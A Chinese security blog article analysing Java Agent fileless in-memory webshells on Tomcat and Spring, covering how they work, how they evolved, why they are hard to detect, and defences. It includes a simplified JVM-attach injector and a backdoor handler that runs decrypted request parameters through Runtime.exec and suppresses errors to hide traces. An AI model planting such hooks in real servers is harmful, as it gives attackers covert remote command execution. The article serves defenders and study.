无文件攻击的隐形利刃:Agent内存马技术深度剖析与攻防前瞻

JAVA安全之Java Agent打内存马 Java Agent是一种特殊的Java程序,它允许开发者在Java虚拟机(JVM)启动时或运行期间通过java.lang.instrument包提供的Java标准接口进行代码插桩,从而实现在Java应用程序类加载和运行期间动态修改已加载或者未加载的类,包括类的属性、方法等,而Java Agent内存马的实现便是利用了这一特性使其动态修改特定类的特定方法将我们的恶意方法添加进去java.lang.instrument.Instrumentation提供了用于监测运行在JVM中的Java API。 阅读详情

在无文件攻击成为网络威胁主流的当下,Agent内存马凭借“无文件落地、运行时注入、隐蔽性极强”的特性,已成为黑客渗透与权限维持的核心武器。从早期复杂的多步骤植入,到如今冰蝎、哥斯拉等工具的一键集成,Agent内存马技术不断迭代升级,持续挑战传统安全防御体系。本文将从技术本质、实现进阶、检测难点、防御体系及未来趋势五个维度,全面解析Agent内存马的核心逻辑与攻防博弈,为安全从业者提供系统性认知。

一、技术本质:Agent内存马的核心原理重构

1. 基础定义与技术基石

Agent内存马是融合Java Agent字节码增强、JVM进程注入与Web容器劫持技术的恶意攻击载体。其核心特征是全程无恶意文件落地,仅在目标JVM内存中驻留并执行恶意逻辑,重启后痕迹自动消失,完美规避传统基于文件监控的安全防护。

支撑该技术的三大核心基石不可或:

  • Java Agent机制:作为JVM层面的字节码增强工具,通过Premain(启动时加载)或Agentmain(运行时加载)方法,实现对目标类的无侵入式修改,为恶意逻辑注入提供技术入口。
  • JVM Attach API:允许外部进程跨进程连接运行中的JVM,动态加载Agent组件,是实现“运行时注入”的关键通道,本质上通过Unix套接字完成进程间通信。
  • 字节码操作框架:ASM、Javassist等工具为核心,直接修改目标类的字节码指令,实现恶意逻辑植入,无需改动原始源代码。

2. 攻击链路的核心逻辑

Agent内存马的攻击流程可概括为“连接-注入-篡改-劫持-控制”五步闭环:

  1. 攻击者通过漏洞获取目标服务器权限后,利用Attach API连接目标Java进程(如Tomcat、Spring Boot应用);
  2. 动态加载恶意Agent组件(现代攻击已实现无文件植入,无需落地Jar包);
  3. Agent触发Agentmain方法,通过字节码框架定位Web容器核心类;
  4. 篡改核心类的关键方法(如Tomcat的doFilter、Spring的dispatch),植入恶意逻辑;
  5. 劫持所有或指定请求,通过预设触发条件(如特定参数、加密指令)执行命令、窃取数据或维持权限。

与传统内存马相比,Agent内存马无需注册新组件,直接篡改现有核心类,隐蔽性与稳定性大幅提升,这也是其难以被检测的核心原因。

二、实现进阶:从基础植入到无文件隐形攻击

1. 核心植入场景与目标类选择

Agent内存马的植入场景覆盖主流Java Web容器与框架,目标类选择遵循“高触发率、低关注度”原则:

  • Tomcat容器:优先篡改org.apache.catalina.core.ApplicationFilterChain(过滤器链头部,所有请求必经)、javax.servlet.http.HttpServlet(JavaEE规范核心类,稳定触发),或org.apache.tomcat.websocket.server.WsFilter(内置Filter,隐蔽性更强);
  • Spring框架:聚焦org.springframework.web.servlet.DispatcherServlet(请求分发核心),适配Spring MVC架构的主流应用;
  • 通用场景:针对JDK基础类或日志组件,实现跨容器、跨框架的通用注入。

2. 技术迭代与演进历程

Agent内存马的发展呈现“轻量化、隐形化、抗检测”三大趋势:

  • 2018年:首次提出MemShell概念,需上传inject.jar与agent.jar并执行命令,植入步骤繁琐,存在文件落地痕迹;
  • 2020年:冰蝎v3.0集成self-attach技术,简化为两步植入,无需手动执行命令,攻击效率显著提升;
  • 2021年:无文件Agent植入技术诞生,通过内存中构造Agent字节码,彻底避免文件落地,同时出现Anti-Attach技术,防止被其他工具扫描或注入;
  • 2025年:主流攻击工具已实现“一键注入+加密通信+痕迹清除”一体化,部分变体通过进程替换、内存片段隐藏等技术,进一步提升抗检测能力。

3. 典型实现案例(Tomcat无文件注入)

(1)核心依赖与配置

需引入ASM框架(字节码修改)、JDK Attach API(进程连接),MANIFEST.MF配置需声明Agent-Class、Can-Redefine-Classes: true与Can-Retransform-Classes: true,确保支持运行时类修改。

(2)无文件Agent构造

通过内存中动态生成Agent字节码,避免Jar包落地:

// 简化核心逻辑:内存构造Agent字节码
public class NoFileAgentInjector {
    public static void inject(String targetPid) throws Exception {
        // 1. 连接目标JVM
        VirtualMachine vm = VirtualMachine.attach(targetPid);
        // 2. 内存中构造Agent字节码(省略ASM动态生成逻辑)
        byte[] agentBytes = generateAgentBytes();
        // 3. 动态加载Agent,无文件落地
        vm.loadAgentData(agentBytes);
        vm.detach();
    }
}
(3)恶意逻辑植入与触发

在ApplicationFilterChain的doFilter方法开头插入加密验证与命令执行逻辑,通过预设密钥解密请求参数,避免触发常规流量检测:

// 恶意逻辑核心片段
public static void handleRequest(ServletRequest request, ServletResponse response) {
    try {
        // 加密验证:避免被随意触发
        String encryptCmd = request.getParameter("enc");
        if (encryptCmd != null) {
            String cmd = decrypt(encryptCmd, "预设密钥"); // 自定义解密逻辑
            Process process = Runtime.getRuntime().exec(cmd);
            // 结果加密返回,规避流量监控
            String result = encrypt(readProcessOutput(process), "预设密钥");
            response.getWriter().write(result);
        }
    } catch (Exception e) {
        // 静默异常,避免日志暴露
    }
}

三、检测困境:传统防御的失效与核心难点

Agent内存马的隐蔽性设计使其轻松绕过传统防御,核心检测难点集中在三个层面:

1. 字节码获取障碍

通过retransformClass方法获取的字节码并非JVM中实际运行的修改后代码,而通过Javassist等工具读取的仅为磁盘原始字节码,无法反映内存中的恶意篡改。即使是常规内存扫描工具,也难以直接获取被redefineClass修改后的真实字节码。

2. 无固定特征可匹配

与传统WebShell不同,Agent内存马无需固定恶意字符串,通过动态修改字节码植入逻辑,可灵活调整指令序列。同时,其通信流量多采用自定义加密算法,与正常HTTPS流量差异极小,传统基于特征码的查杀与流量检测几乎失效。

3. 行为痕迹极难捕捉

攻击过程无文件操作、无新组件注册,仅在内存中进行类修改与逻辑执行。恶意行为多通过合法API(如Runtime.exec)实现,且可通过线程池隐藏、日志清理等手段消除痕迹,常规行为审计难以识别异常。

当前主流检测工具多为半自动化方案,如基于Arthas的copagent、java-memshell-scanner等,需人工结合反编译分析可疑类,效率低下且依赖经验,难以应对大规模攻击场景。

四、防御体系:从技术阻断到全生命周期防护

针对Agent内存马的攻击特点,需构建“事前阻断、事中检测、事后溯源”的全生命周期防御体系,结合JVM层面、应用层面与运维层面的多重防护:

1. 事前阻断:切断攻击入口

  • 禁用JVM Attach机制:通过JVM参数-XX:+DisableAttachMechanism阻止外部进程连接,从源头阻断Agent注入;
  • 限制Agent加载权限:配置-javaagent白名单,仅允许指定路径或签名的Agent文件加载,禁止恶意Agent注入;
  • 加固基础环境:及时修复服务器漏洞(如文件上传、命令执行),避免攻击者获取初始权限;限制Web应用的Runtime执行权限,禁用敏感API调用。

2. 事中检测:精准识别异常

  • 基于SA-JDI的字节码校验:利用sa-jdi.jar的ClassDump工具,直接获取JVM中运行的真实字节码,与磁盘原始文件对比,检测篡改行为;
  • 动态行为监控:通过JVMTI工具监控类的redefine、retransform操作,告警异常字节码修改;审计核心类的方法调用链,识别非法命令执行、敏感数据读取等行为;
  • 流量深度分析:基于机器学习模型,识别加密流量中的异常交互模式(如非常规请求频率、固定密钥协商特征),辅助检测加密通信的Agent内存马。

3. 事后溯源:快速清除与取证

  • 内存马清除:通过合法Agent注入,还原被篡改类的原始字节码,或直接卸载恶意Agent,避免重启服务影响业务;
  • 攻击溯源:结合服务器日志、JVM线程快照、网络连接记录,追溯攻击者的注入路径、触发方式与操作行为,为后续防护优化提供依据。

五、未来趋势:攻防技术的演进方向

1. 攻击技术演进预测

  • 跨平台适配能力增强:未来Agent内存马将进一步突破容器限制,适配云原生环境(如K8s中的Java应用)、微服务架构,实现批量注入与集群控制;
  • 对抗性技术持续升级:针对SA-JDI等检测工具,将出现字节码混淆、内存片段加密隐藏等技术,进一步增加检测难度;
  • 融合多攻击向量:与勒索病毒、远控木马结合,形成“注入-挖矿/窃取-勒索”的攻击闭环,危害进一步扩大。

2. 防御技术发展方向

  • 自动化检测与响应:基于大模型的字节码语义分析技术,自动识别恶意逻辑,实现从检测到清除的全自动化处理;
  • 硬件级防护介入:利用可信执行环境(TEE)隔离JVM运行空间,防止恶意代码篡改核心类字节码;
  • 云原生环境专属防护:针对容器化部署特点,开发基于K8s的统一防护插件,监控Pod内Java进程的Agent注入行为,实现集群级防护。

结语

Agent内存马作为无文件攻击的核心技术之一,其攻防博弈已进入“精细化、对抗性”阶段。攻击者不断优化注入方式与隐蔽手段,而防御方需打破传统思维定式,从字节码校验、行为分析、权限管控等多个维度构建立体防护体系。

对于企业而言,仅依靠单一工具或技术难以有效抵御攻击,需结合安全架构优化、常态化安全审计与应急响应能力建设,形成持续迭代的防御机制。未来,随着AI、可信计算等技术的融入,Agent内存马的攻防对抗将更加激烈,但技术防御的核心始终不变——通过深入理解攻击原理,构建“知己知彼”的安全屏障。

构造agent类型的内存马(内存马系列篇十三) 前面我们对JAVA中的Agent技术进行了简单的学习,学习前面的Agent技术是为了给这篇Agent内存马的实现做出铺垫,接下来我们就来看看Agent内存马的实现。这是内存马系列篇的第十三篇了。这个内存马算是我搞得比较久的一个内存马了,主要是中间出现了好多好多的问题,还好,时间没有白费,还是一步一个脚印的将所有错误debug解决了,不得不说debug是个好东西。1、网络安全理论知识(2天)①了解行业相关背景,前景,确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。 阅读详情

相关推荐

Java Agent型内存马复现及清理

Java Agent型内存马复现及清理 本文是对互联网上内存马相关资源学习整理的笔记记录,参考文章如下 利用“进程注入”实现无文件复活 WebShell 基于javaAgent内存马检测查杀指南 0x01 内存马简介 ########### 0x02 java agent型内存马 这里记录 memshell 的复现 准备条件:1. Tomcat环境 2. inject.jar agent.jar 访问web应用,输入url ,服务端返回正常结果 将inject.jar ag..

vlogFeynman的博客 3486

[Java安全]—Agent内存马

在JVM中运行中,类是通过classLoader加载.class文件进行生成的。在类加载.class文件生成对应的类对象之前,我们可以通过修改.class文件内容,达到修改类的目的。而在 jdk 1.5之后引入了 java.lang.instrument 包,通过 java.lang.instrument 提供的对字节码进行操作的一系列api,而使用这些api开发出的程序就可以称之为java agent。agent内存马就是利用上述特性修改特定的类或者方法,从而实现恶意方法的注入。Ja...

Sentiment的博客 4335

从模型车到真实路口:基于YOLOv5-Lite与SORT的轻量化车流量检测系统实战

本文详细阐述了如何将基于YOLOv5-Lite与SORT的轻量化车流量检测系统从毕业设计原型部署到真实路口。文章聚焦于解决在嵌入式平台(如树莓派)上实现实时、稳定检测的工程挑战,涵盖数据采集、模型微调、系统集成及动态信号灯策略,为智能交通灯系统提供了实用的轻量化解决方案。

weixin_29179311的博客 127

学习Java agent 内存马(看不懂别关闭,直接喷!!!)

java agent 是 Java 程序,可以通过在 Java 虚拟机(JVM)启动时提供参数来加载和运行。它可以通过 java.lang.instrument 包提供的 Java 标准接口进行代码插桩,从而在 Java 应用程序的类加载和运行期间改变 Java 字节码。而java agent内存马就是利用这个特性产生。

一剑开天门!的博客 3919

pytorchDataLoader中调整数据长度不一致问题(lstm等)

数据长度不一致 用pytorch做rnn的时候,如果输入数据不一样长,可以用两种方式解决。 一种是自定义collate方法, #自定义collate_fn dataloader.DataLoader(dataset,4,True,collate_fn=my_collate) 然后里面写数据和标签载入方式即可 def my_collate(batch): data = [item[0] for item in batch] target = [item[1] for item in batc

weixin_48174100的博客 7771

EB TRESOS 29.0.0安装教程用于MCAL配置开发

本文介绍的搭建基于NXP官网提供EB软件,进行基于标准AUTOSAR软件底层驱动配置的开发

qq_53260940的博客 1882

【网络安全】Agent内存马的自动分析与查杀

以上是背景,接下来介绍我做了些什么,能够实现怎样的效果不难看出,以上内存马查杀手段都是半自动结合人工审核的方式,当检测出内存马后检测(同时支持普通内存马和Java Agent内存马的检测)分析(如何确定该类是内存马,仅根据恶意类名和注解等信息不完善)查杀(当确定内存马存在,如何自动地删除内存马并恢复正常业务逻辑)大致看来,实现起来似乎不难,然而实际中遇到了很多坑,接下来我会逐个介绍→点击获取网络安全资料·攻略←200多本网络安全系列电子书网络安全标准题库资料项目源码。

wuli1024的博客 1392

(RegionProposal Network)RPN网络结构及详解

RPN(RegionProposal Network)区域生成网络 Faster-RCNN的核心。在这里整理。 1.anchors。 特征可以看做一个尺度51*39的256通道图像,对于该图像的每一个位置,考虑9个可能的候选窗口:三种面积{128,256,512}×{128,256,512}×三种比例{1:1,1:2,2:1}{1:1,1:2,2:1}。这些候选窗口称为anchors...

凹酱的DEEP LEARNING 19万+

Java Agent内存马

java Agent内存马

google20的博客 1269

描述符链表(Descriptor Chain)是什么?

描述符链表是硬件加速数据传输的核心数据结构,通过链式描述符(包含地址、长度、控制标志等)实现DMA自动批量处理,显著降低CPU负载。其工作原理为:CPU初始化链表后,硬件按序处理每个描述符,完成自动跳转与中断通知。在网卡收包、NVMe存储等场景中应用广泛,优势包括批处理、低延迟和灵活调度。需注意内存对齐、缓存一致性等实现细节,优化手段包括预分配描述符池、环形缓冲区等。该技术是网络/存储领域提升吞吐量的关键方案。

guigenyi的专栏 778

北斗导航 | 从北一到北二再到北三,你应该知道的北斗导航系统

博主github:https://github.com/MichaelBeechan 博主优快云:https://blog.youkuaiyun.com/u011344545 一、引言 我国高度重视北斗系统的建设和发展。自20世纪80年代开始探索适合我们国家国情的卫星导航系统发展道路,形成了“三步走”的发展战略:2000年底,建成北斗一号导航系统,向我国广大用户提供服务;2012年底,建成北斗二号导航系统,...

尘世冰封的专栏 3082

初探Java安全之JavaAgent

其实这一部分把注释翻译过来,有些类和某些方法依旧不理解是什么意思,也有些看懂了但不知道怎么用,先鸽着。

qq_53058639的博客 2978

在VINS-FUSION上处理KITTI数据集(双目+GPS)

VINS-Fusion 是一个开源的实时多传感器状态估计库,主要由香港科技大学的沈邵劼教授领导的研究团队开发。它是 VINS-Mono(单目视觉惯性系统)的扩展,支持多种传感器组合,如双目、立体相机和IMU。

如果想成为中心,那么就到中心去吧。 1206

Java Agent 内存马攻防

在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的Api,用于监控、收集性能信息、诊断问题等。通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,JavaAgent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法等。premain方法,在JVM启动前加载。agentmain方法,在JVM启动后加载。

顶峰 1476

YOLOv11 结合 BiFormer 注意力:打造多场景高精度检测模型实战教程

注册BiFormer模块(若代码未自动注册)# 加载自定义配置的YOLOv11模型。

know_F0727的博客 253

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

学习了解内存马,看这篇就够了!(精华版)_什么是内存马

内存马,也被称为无文件马,是无文件攻击的一种常用手段。虽然由来已久,但是在此之前并未“大红大紫”。近年来盛行于攻防演练之中,攻防演练从2016年的几家参演单位,到2020年扩充到了几百家参演单位,内存马也越来越多的被提起,逐渐成为了攻击方的“必备武器”,针对内存马的防护也越来越被重视。内存马是无文件攻击的一种技术手段,那我们不得不先简单介绍一下无文件攻击。

yy1715713348的博客 3504

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

如何优雅的注入Java Agent内存马

我相信如果是熟悉Java Native开发的同学可能对此并不陌生,在jvm.dll中存在一个名为JNI_GetCreatedJavaVMs的函数,该函数是JVM提供给Java Native开发人员用来在Native层获取VM对象的,因为是开放给开发者使用的,所以该函数是导出的。我们可以直接调用这个函数来获取JavaVM对象。Windows平台和Linux平台下构造JPLISAgent对象的方法,有了JPLISAgent对象,就可以调用Java Agent的所有能力了,当然我们感兴趣的还是类的动态修改功能。.

weixin_62421895的博客 747

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

论如何优雅的注入Java Agent内存马

论如何优雅的注入Java Agent内存马

include_voidmain的博客 1047

揭秘企业级Agent Docker扫描难题:如何在分钟级发现高危漏洞并快速响应

快速解决企业Agent的Docker安全扫描难题,实现分钟级高危漏洞发现与响应。适用于CI/CD流水线、生产环境容器镜像等场景,通过自动化集成、精准漏洞匹配和轻量级扫描引擎提升效率。帮助企业无缝嵌入安全流程,保障云原生应用交付安全,值得收藏。

BytePerch的博客 1048

【OpenClaw】1. 一键部署新手完全教程

本文围绕OpenClaw官方一键安装脚本,详细讲解了OpenClaw 的全流程部署与配置教程。介绍环境测试、安装步骤、测试验证、模型配置、安全提示;以飞书接入为例,详细说明飞书应用创建、凭证配置、配对授权等操作。通过终端交互界面与 OpenClaw 对话,在飞书中实现文件管理等自动化指令。教程还提供了安装错误的排查方案,覆盖执行策略、网络、Git、npm 代理等测试项目。

youcans的博客 2545

基于Java Agent内存马

在 jdk 1.5 之后引入了 `java.lang.instrument` 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 `java.lang.instrument` 实现的工具我们称之为 Java Agent,Java Agent 支持两种方式进行加载: 实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有) 实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有) ...

遇事不决冲冲冲 2443

java agent内存马学习

文章目录1. 什么是java agent补充:一些重要的类ClassFileTransformerVirtualMachineCtMethod2. 利用premain函数实现java agent2.1 执行逻辑2.2 利用javaagent修改加载到jvm前被拦截的类3. 利用agentmain实现javaagent3.1 执行逻辑3.2 参考代码1. 实现连接指定jvm进程的代码:2. 实现agentmain4. 利用agentmain实现内存马4.1 修改spring boot中的Filter实现内存马

Shanfenglan's blog 2442

Tomcat内存马学习5:Agent型

具体点来说就是通过VirtualMachine 类的 attach(pid) 方法,可以连接到一个运行中的 java 进程上之后便可以通过 loadAgent(agentJarPath) 来将恶意agent 的 jar 包注入到对应的进程,然后对应的进程会调用agentmain方法,这个方法会遍历所有的已加载类并找到我们需要的类,修改其字节码从而达到注入内存马目的。大体思路都写在了代码注释里。(需要上传到对方服务器)以上三个文件打包为jar。...

weixin_43263451的博客 652

Filter内存马浅析

1. 何谓内存马? 以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启。 Java内存shell有很多种,大致分为: 1. 动态注册filter 2. 动态注册servlet 3. 动态注册listener 4. 基于Java agent拦截修改关键类字节码实现内存shell 该文主要研究Filter内存马的原理和实现。 2. Filter注册流程 假设有一个需要注册的filter类——F.

angry_program的博客 2662
上一篇: 2026年网络安全建设全景与趋势洞察
下一篇: 从入门到精通:SQLi-Labs 全关卡注入实战与防御进阶指南
克朗网络安全实验室
克朗网络安全实验室 优质创作者: 人工智能技术领域 优质创作者: 人工智能技术领域
博客等级 码龄8年 1万+粉丝 3585原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

克朗网络安全实验室

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值